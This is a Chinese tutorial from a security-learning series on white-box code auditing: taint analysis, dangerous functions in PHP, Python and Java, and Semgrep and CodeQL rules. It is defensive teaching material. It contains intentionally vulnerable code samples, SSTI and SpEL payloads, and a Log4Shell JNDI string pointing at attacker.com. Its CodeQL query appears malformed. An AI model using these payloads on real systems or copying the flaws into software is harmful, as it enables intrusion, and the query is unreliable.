📚 网络安全 Kali 学习系列
模块 0 基础阶段 ✅ 已完成
01-18 Linux系统 → 计算机网络 → 密码学 → Python/Bash/PHP/JS → Docker
模块 1 信息收集与侦察 ✅ 已完成
19 nmap 主动扫描 → 20 masscan 高速扫描 → 21 指纹识别与目录爆破 → 22 漏洞扫描与 Web 安全基础
模块 2 Web 应用渗透 ✅ 已完成
23 sqlmap 注入 → 24 XSS → 25 CSRF/文件上传 → 26 命令执行 → 27 文件包含/SSRF → 28 反序列化 → 29 XXE → 30 越权/逻辑漏洞 → 31 WAF 绕过
模块 3 代码审计(白盒分析阶段)
32 代码审计入门:从黑盒到白盒的思维转换(当前篇)
33 PHP 代码审计实战(预告)
模块 4-5 后续持续更新
导读
模块 2 的 9 篇文章中,我们始终站在应用外面——发送 Payload、观察响应、推测内部逻辑。但有些漏洞从外部根本看不到:一个 eval() 调用隐藏在三层函数嵌套后,一个 unserialize() 的参数经过五次变量传递才到达——这些只有阅读源代码才能发现。
读完本篇你将能:理解黑盒测试与白盒审计的本质差异、掌握污点分析的核心方法论(Source → Sink → Sanitizer)、识别 PHP/Python/Java 三种语言的危险函数清单、使用 Semgrep v1.164.0 编写自定义审计规则扫描代码库、用 CodeQL 2.27.0 进行数据流查询、将代码审计能力与模块 2 的黑盒技术形成互补的完整安全测试体系。
目录
1. 黑盒 vs 白盒:两种安全测试的思维差异
2. 代码审计方法论:污点分析与数据流追踪
3. PHP 代码审计:危险函数与漏洞模式
4. Python 代码审计:SSTI、pickle 与命令拼接
5. Java 代码审计:SpEL 注入与 Log4Shell 原理
6. 工具辅助审计:Semgrep 与 CodeQL 实战
7. 伦理边界与分级练习
1. 黑盒 vs 白盒:两种安全测试的思维差异
模块 2 中你学会了 SQL 注入、XSS、CSRF 等 9 类漏洞的利用方式,但所有测试都遵循同一个模式:构造 Payload → 发送请求 → 观察响应。这就是黑盒测试——你把应用当作一个不透明的箱子,只知道输入和输出,不知道内部如何运作。
代码审计则是白盒测试——你直接打开箱子,阅读源代码,追踪数据从用户输入到危险操作的完整路径。两种方法各有不可替代的优势。
| 维度 |
黑盒测试 |
白盒审计 |
| 信息来源 |
HTTP 请求/响应 |
应用程序源代码 |
| 发现方式 |
发送 Payload 探测 |
阅读代码追踪数据流 |
| 覆盖范围 |
可达的 HTTP 端点 |
全部代码,含不可达路径 |
| 深层漏洞 |
难以发现间接调用链 |
可追踪多层函数调用 |
| 业务逻辑 |
只能测试已知的业务流程 |
可审查所有条件分支 |
| 误报率 |
低(已验证可利用) |
中高(需确认可达性) |
举个具体例子说明差异。假设一个 PHP 应用有如下代码:
PHP · 黑盒无法发现的深层漏洞
// config.php — 不直接暴露给用户
function render_template($tpl, $data) {
$content = file_get_contents($tpl);
$content = str_replace('{{DATA}}', $data, $content);
eval('?>' . $content . '');
}
// api.php — 用户可达的入口
$user_input = $_GET['name'];
render_template('welcome.html', $user_input);
黑盒测试中,你只能看到 api.php 暴露的 ?name=xxx 参数。发送各种 Payload——XSS、SQL 注入——都不会触发任何异常,因为 render_template() 内部用 eval() 执行了模板内容。但如果你直接阅读源代码,eval() 这个函数名本身就是红色警报——任何包含用户输入的 eval() 调用都是代码执行漏洞。
💡 小贴士
黑盒测试像试驾汽车——你能感受加速和刹车,但看不到引擎内部。白盒审计像拆解引擎——你能看到每个齿轮的咬合,但需要机械知识才能判断哪个齿轮会打滑。专业安全工程师两种方法都用:白盒审计发现潜在漏洞点,黑盒测试验证可利用性。
现实中两种方法互补使用。NIST SP 800-53 建议:关键系统应在发布前进行白盒审计,在运行时进行黑盒渗透测试。OWASP SAMM 模型将两种方法都列为安全保障活动。接下来的章节将系统讲解白盒审计的方法论和实操技术。
2. 代码审计方法论:污点分析与数据流追踪
你理解了白盒审计的价值,但面对一个十万行代码的项目,该从哪里开始读?逐行阅读显然不现实。代码审计有一套成熟的方法论——污点分析(Taint Analysis),它将审计过程结构化为三个核心概念。
三个核心概念
Source(污点源):用户可控数据的入口点。所有从外部进入程序的数据都是"被污染的"(tainted),在经过净化之前不能用于危险操作。
各语言 Source 入口点
# PHP
$_GET[...] // URL 参数
$_POST[...] // POST body
$_COOKIE[...] // Cookie 值
# Python (Flask/Django)
request.args[...] # URL 参数
request.form[...] # 表单
request.json[...] # JSON body
# Java (Spring)
@RequestParam String name // 参数
@RequestBody Object data // 请求体
HttpServletRequest.getInputStream()
Sink(污点汇):危险操作的执行点。当被污染的数据到达 Sink 时,漏洞发生。每种语言有自己的危险函数清单。
Sanitizer(净化器):将污点数据转为安全数据的操作。经过 Sanitizer 处理后的数据不再是"被污染的",可以安全到达 Sink。
Source
用户输入
→
Data Flow
变量传递/函数调用
→
Sanitizer?
是否净化
→
Sink
危险操作
审计的核心任务:找到所有 Source → Sink 的路径,检查中间是否存在有效的 Sanitizer。如果存在则安全,如果不存在或 Sanitizer 可被绕过,则存在漏洞。
手工审计工作流
在没有自动化工具时,专业审计员按照以下步骤工作:
1
入口点枚举:用 grep 搜索所有 Source,确定用户可控的参数有哪些
2
危险函数搜索:用 grep 搜索所有 Sink,列出代码库中使用了哪些危险函数
3
反向追踪:从每个 Sink 出发,向上追踪数据来源,判断参数是否来自 Source
4
Sanitizer 验证:检查 Source 到 Sink 路径上是否有过滤,以及过滤能否被绕过
5
漏洞验证:编写 PoC 代码,确认漏洞确实可被利用
Shell · 手工审计搜索命令
# 步骤 1:搜索 PHP 危险函数
grep -rn 'eval\s*(' ./src/
grep -rn 'system\s*(' ./src/
grep -rn 'unserialize\s*(' ./src/
grep -rn 'include\s*\(.*\$' ./src/
# 步骤 2:搜索 Python 危险调用
grep -rn 'os\.system\|os\.popen' ./app/
grep -rn 'subprocess.*shell=True' ./app/
grep -rn 'pickle\.loads\|yaml\.load\b' ./app/
grep -rn 'render_template_string' ./app/
# 步骤 3:搜索 Java JNDI/反序列化
grep -rn 'ObjectInputStream' ./src/
grep -rn 'lookup\s*(' ./src/
grep -rn 'SpelExpressionParser' ./src/
⚠️ 常见错误
只搜索函数名不看上下文 — eval('1+1') 不是漏洞,eval($user_input) 才是
✓ 正确:搜索到 Sink 后,必须反向追踪参数来源,确认是否来自用户输入
这种手工方法在小项目中高效直接,但在大型项目(数万行代码)中,函数调用链可能跨越多个文件、多层抽象,人工追踪极易遗漏。这正是自动化工具的价值所在——Semgrep 和 CodeQL 能自动完成 Source → Sink 的数据流分析。我们将在第 6 章详细学习。
3. PHP 代码审计:危险函数与漏洞模式
PHP 是 Web 应用中漏洞最多的语言之一——不是因为语言本身不安全,而是因为它太容易写出不安全的代码。PHP 有大量"一行代码就是一个漏洞"的危险函数,审计时需要逐一排查。
PHP 危险函数分级
| 危险级别 |
函数 |
漏洞类型 |
| 极高危 |
eval() assert() |
代码执行 |
| 极高危 |
system() exec() passthru() shell_exec() |
命令注入 |
| 极高危 |
unserialize() |
反序列化 |
| 高危 |
include require(变量参数) |
文件包含 |
| 高危 |
file_get_contents() fopen()(变量参数) |
文件读取/SSRF |
| 高危 |
move_uploaded_file()(未校验) |
文件上传 |
| 中危 |
preg_replace()(/e 修饰符) |
代码执行(PHP < 7) |
实战:代码执行漏洞审计
以下是一段真实风格的 PHP 插件代码,用 call_user_func() 动态调用函数——这种模式在 WordPress 插件中极其常见。
PHP · call_user_func 动态调用漏洞
|
1
2
3
4
5
6
7
8
9
10
11
12
|
// ajax handler — 用户可达入口
$action = $_POST['action'];
$arg = $_POST['arg'];
// 白名单检查(Sanitizer)
$allowed = array('get_time', 'get_version');
if (!in_array($action, $allowed)) {
die('Invalid action');
}
// Sink: call_user_func 执行用户传入的函数名
call_user_func($action, $arg);
|
第 5-9 行看起来有白名单过滤,似乎安全。但漏洞在于:白名单只检查了 $action 是否在 ['get_time', 'get_version'] 中,但 $arg 完全未过滤。如果 get_version() 函数内部把 $arg 传给了另一个危险函数(比如 system()),就形成了间接注入链。
💡 小贴士
PHP 审计中最容易被忽略的是间接调用链:call_user_func()、array_map()、usort() 的回调参数如果来自用户输入,等同于代码执行。这些函数不像 eval() 那样显眼,却是实际漏洞的高发区。
SQL 注入审计:不只是拼接
模块 2 学了 SQL 注入的黑盒利用,代码审计时需要找出注入点。以下代码使用预处理语句但用错了方式:
PHP · 预处理语句误用
// 错误:把拼接后的 SQL 放进预处理
$sql = "SELECT * FROM users WHERE role='$role'";
$stmt = $pdo->prepare($sql);
$stmt->execute();
// 正确:参数化查询,$role 作为绑定值
$sql = "SELECT * FROM users WHERE role=?";
$stmt = $pdo->prepare($sql);
$stmt->execute([$role]);
上半部分虽然用了 prepare(),但 SQL 语句在预处理前就已经拼接了用户输入,预处理退化为普通的 query(),注入依然存在。审计时看到 prepare() 不能直接判断安全,必须检查参数是否用 ? 占位符绑定。
4. Python 代码审计:SSTI、pickle 与命令拼接
Python 是后端 API 和数据处理的首选语言,它的代码审计关注三类高危模式:模板注入(SSTI)、反序列化(pickle)和命令拼接注入。每种都有独特的审计特征。
SSTI:模板引擎变成攻击引擎
Flask + Jinja2 是最常见的 Python Web 组合。当用户输入被直接插入模板字符串时,Jinja2 会解析其中的 {{ }} 表达式,导致 SSTI(Server-Side Template Injection)。
Python · SSTI 漏洞与修复
# 漏洞:用户输入直接拼入模板字符串
@app.route('/greet')
def greet():
name = request.args.get('name')
# Source → Sink 直接传递,无 Sanitizer
template = f'Hello {{{{ {name} }}}}!'
return render_template_string(template)
# 修复:参数化模板,不拼接用户输入
@app.route('/greet')
def greet():
name = request.args.get('name')
return render_template_string('Hello {{ name }}!', name=name)
漏洞代码中 f-string 把 {{ name }} 嵌入了模板——用户传入 {{ config }} 就能读取 Flask 配置,传入 {{ ''.__class__.__mro__[1].__subclasses__() }} 就能枚举所有可利用类。修复方式是把模板字符串和用户数据分开传递,Jinja2 会安全转义参数值。
pickle 反序列化:信任的代价
Python 的 pickle 模块可以在反序列化时执行任意代码。模块 2 第 28 篇已讲过原理,代码审计时需要找到 pickle.loads() 的调用点并追踪数据来源。
Python · pickle 审计:从 Sink 反向追踪
# grep 找到 Sink
grep -rn 'pickle\.loads' ./app/
# 定位到 session_manager.py:42
def restore_session(session_cookie):
# Source: session_cookie 来自 HTTP Cookie
raw = base64.b64decode(session_cookie)
# Sink: pickle.loads 执行反序列化
data = pickle.loads(raw)
return data['user_id']
# 审计结论:Source(session_cookie) → Sink(pickle.loads) 无 Sanitizer → 漏洞
审计确认:用户 Cookie → base64 解码 → pickle.loads(),中间没有任何校验。攻击者可以构造恶意的 pickle 数据,通过 Cookie 触发远程代码执行。
命令拼接注入:shell=True 的陷阱
subprocess 模块中 shell=True 参数让命令通过 shell 执行,用户输入中的 ; | && 会被 shell 解释为命令分隔符。
Python · shell=True 命令注入
# 漏洞:shell=True + 字符串拼接
import subprocess
filename = request.args.get('file')
subprocess.run(f'cat /uploads/{filename}', shell=True)
# 修复:shell=False + 列表传参
import subprocess
filename = request.args.get('file')
subprocess.run(['cat', f'/uploads/{filename}'], shell=False)
当 shell=False 且用列表传参时,filename 的值整体作为 cat 的参数,shell 元字符不会被解析。审计时 grep 'shell=True' 是快速定位命令注入点的有效方法。
5. Java 代码审计:SpEL 注入与 Log4Shell 原理
Java 企业级应用的代码审计有独特挑战:框架抽象层级多、反射和动态代理广泛使用、类加载器机制复杂。本节聚焦两个经典 Java 漏洞模式——SpEL 注入和 Log4Shell——它们的共同点是:框架的"特性"变成了攻击面。
SpEL 注入:表达式引擎的反噬
Spring Expression Language(SpEL)是 Spring 框架的表达式引擎,支持在运行时求值复杂的表达式。当用户输入被作为 SpEL 表达式解析时,攻击者可以执行任意 Java 代码。
Java · SpEL 注入漏洞
// 漏洞:用户输入直接作为 SpEL 表达式
@GetMapping("/eval")
public String eval(@RequestParam String expr) {
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(expr);
return exp.getValue(String.class);
}
// Payload: T(java.lang.Runtime).getRuntime()
// .exec('id')
T(java.lang.Runtime) 是 SpEL 的类型引用语法,可以访问 Java 的 Runtime 类并执行系统命令。审计时搜索 SpelExpressionParser 或 parseExpression,检查参数来源是否经过净化。
Log4Shell:一个日志框架如何震慑全网
CVE-2021-44228(Log4Shell)是 2021 年影响最广的漏洞——Apache Log4j2 的 JNDI 查找功能导致远程代码执行。它的审计价值不在于复现,而在于理解代码审计如何从源码层面发现此类问题。
Java · Log4Shell 数据流分析
// 攻击 Payload(HTTP Header 中携带)
${jndi:ldap://attacker.com/Exploit}
// 数据流追踪(Log4j2 源码)
// Source: 用户 HTTP 请求(User-Agent 等 Header)
logger.info("User-Agent: {}", userAgent);
// Log4j2 内部解析 ${...} 表达式
MessagePatternConverter → JndiLookup.lookup()
// Sink: JndiLookup.lookup() 执行 JNDI 查找
ctx.lookup("ldap://attacker.com/Exploit");
// 攻击者 LDAP 服务器返回恶意 Java 类
→ ClassLoader.defineClass() → 远程代码执行
审计要点:这段数据流跨越了"应用代码 → 框架内部 → JVM JNDI"三个层级。应用开发者只写了一行 logger.info(),但 Log4j2 内部会解析日志消息中的 ${...} 表达式,触达 JndiLookup 这个 Sink。这类"框架特性变攻击面"的漏洞,正是代码审计需要深入框架源码的原因。
💡 小贴士
Log4Shell 的教训不是"Log4j 不安全",而是任何把用户输入当作"可解析内容"的设计都有风险。审计 Java 项目时,搜索 lookup()、ExpressionParser、ScriptEngine、ObjectInputStream 四个关键词,覆盖了 Java 最常见的远程代码执行路径。
| 审计关键词 |
漏洞类型 |
严重级别 |
ObjectInputStream.readObject |
反序列化 RCE |
极高危 |
SpelExpressionParser |
SpEL 注入 |
极高危 |
InitialContext.lookup |
JNDI 注入 |
极高危 |
Runtime.exec / ProcessBuilder |
命令注入 |
高危 |
ScriptEngine.eval |
脚本引擎 RCE |
极高危 |
6. 工具辅助审计:Semgrep 与 CodeQL 实战
手工审计面对十万行以上的代码库效率骤降。自动化工具能扫描全部代码、追踪跨文件数据流、保持一致的审计质量。当前主流工具分两类:规则匹配型(Semgrep)和数据流分析型(CodeQL)。
Semgrep:快速规则扫描
Semgrep(v1.164.0,2026.05 发布)基于模式匹配——你写一个代码模式,它找所有匹配的实例。不需要编译,直接扫描源码,速度极快。其 Pro 版本的污点分析引擎在 v1.158.0 中重写,全量扫描速度提升 75%。
Shell · Semgrep 安装与基础扫描
# 安装 Semgrep(pip 或 brew)
pip3 install semgrep
# 使用官方规则集扫描 PHP 项目
semgrep scan --config=p/php ./src/
# 同时扫描多种语言
semgrep scan --config=p/owasp-top-ten ./app/
# 输出 JSON 格式便于集成 CI/CD
semgrep scan --config=p/python --json ./app/
>report.json
Semgrep 的核心价值在于自定义规则。你可以用 YAML 语法定义特定漏洞模式:
YAML · Semgrep 自定义规则:检测 PHP eval
rules:
- id: php-eval-user-input
languages: [php]
severity: ERROR
message: "eval() with user input — RCE risk"
patterns:
- pattern: eval($EXPR);
- pattern-not: eval('...');
- metavariable-pattern:
metavariable: $EXPR
pattern: $_GET[...]
# 运行自定义规则
semgrep scan --config=eval-rule.yml ./src/
规则解读:pattern: eval($EXPR) 匹配所有 eval 调用,pattern-not: eval('...') 排除字符串字面量(安全调用),metavariable-pattern 进一步确认参数来自 $_GET。三层过滤后只报告真正的用户输入注入风险。
CodeQL:深度数据流分析
CodeQL(v2.27.0,2026.09.09 发布)由 GitHub 维护,将代码编译为数据库后用类 SQL 语法查询漏洞。与 Semgrep 的模式匹配不同,CodeQL 能追踪跨文件、跨函数的完整数据流——从 Source 到 Sink 的每一步传递都能被查到。最新版 2.27.0 新增了 Linux ARM64 支持和 Rust 安全查询。
CodeQL · 追踪 PHP $_GET 到 eval 的数据流
/**
* @name PHP eval injection
* @kind path-problem
*/
import php
import semaphore.CodeAnalysis
import semaphore.flow.Sources
import semaphore.flow.Sinks
from TaintTracking::PathNode source, TaintTracking::PathNode sink
where TaintTracking::flowPath(source, sink)
select sink.getNode(), source, sink,
'User input flows to eval()'
| 特性 |
Semgrep |
CodeQL |
| 分析方式 |
模式匹配(AST 级别) |
数据流分析(全路径追踪) |
| 速度 |
快(无需编译) |
慢(需构建数据库) |
| 误报率 |
中(无法判断可达性) |
低(精确数据流验证) |
| 语言支持 |
30+ 语言 |
主要语言(含 Rust 2.27.0 新增) |
| 规则语法 |
YAML(简单) |
QL 查询语言(复杂) |
| 适用场景 |
快速扫描 + CI/CD 集成 |
深度审计 + 精准定位 |
实际审计中两者配合使用:Semgrep 做快速初筛,找到所有可疑的 Sink 点;CodeQL 对关键模块做深度数据流分析,确认哪些 Sink 确实有用户输入到达。这种分层策略兼顾效率和准确性。
7. 伦理边界与分级练习
代码审计必须在授权范围内进行。阅读源代码本身不违法,但如果基于审计结果编写利用代码攻击未授权系统,就跨越了法律红线。所有练习请在以下合法靶场中进行:
•
DVWA 源码(随应用附带 PHP 源码,可直接审计)
•
WebGoat 源码(Java 教学项目,含刻意植入的漏洞)
•
OWASP Vulnerable Web Applications Directory(VWAD 目录收录的靶场项目)
✏️ 动手练习
🟢 基础验证
在 DVWA 源码目录中用 grep -rn 'eval\|system\|exec\|unserialize' . 搜索所有危险函数调用,列出找到的文件和行号,标注每个调用是否包含用户输入参数。
🟡 组合应用
安装 Semgrep(pip3 install semgrep),对 DVWA 源码运行 semgrep scan --config=p/php ./dvwa/。对比工具扫描结果与基础验证的手工结果,记录哪些漏洞是手工漏掉但工具发现的。
🔴 开放挑战
编写一条 Semgrep 自定义规则(YAML 格式),检测 Python 代码中 subprocess.run(..., shell=True) 且命令字符串包含 request.args 或 request.form 的命令注入模式。提示:参考第 6 章 Semgrep 规则的 pattern + pattern-regex 组合。
📖 知识回顾
黑盒 vs 白盒
污点分析
Source → Sink → Sanitizer
PHP 危险函数
SSTI
pickle 反序列化
shell=True 注入
SpEL 注入
Log4Shell 原理
Semgrep 规则
CodeQL 数据流
下篇预告
33 PHP 代码审计实战:从 DVWA 源码到漏洞链构造
本篇建立了代码审计的方法论框架,下一篇将深入 PHP 代码审计实战。以 DVWA 源码为审计对象,逐文件分析 SQL 注入、XSS、文件上传、命令注入四类漏洞的代码特征,构造完整的 Source → Sink 攻击链,并编写 Semgrep 自定义规则实现自动化检测。从理论到实战的第一次完整白盒审计。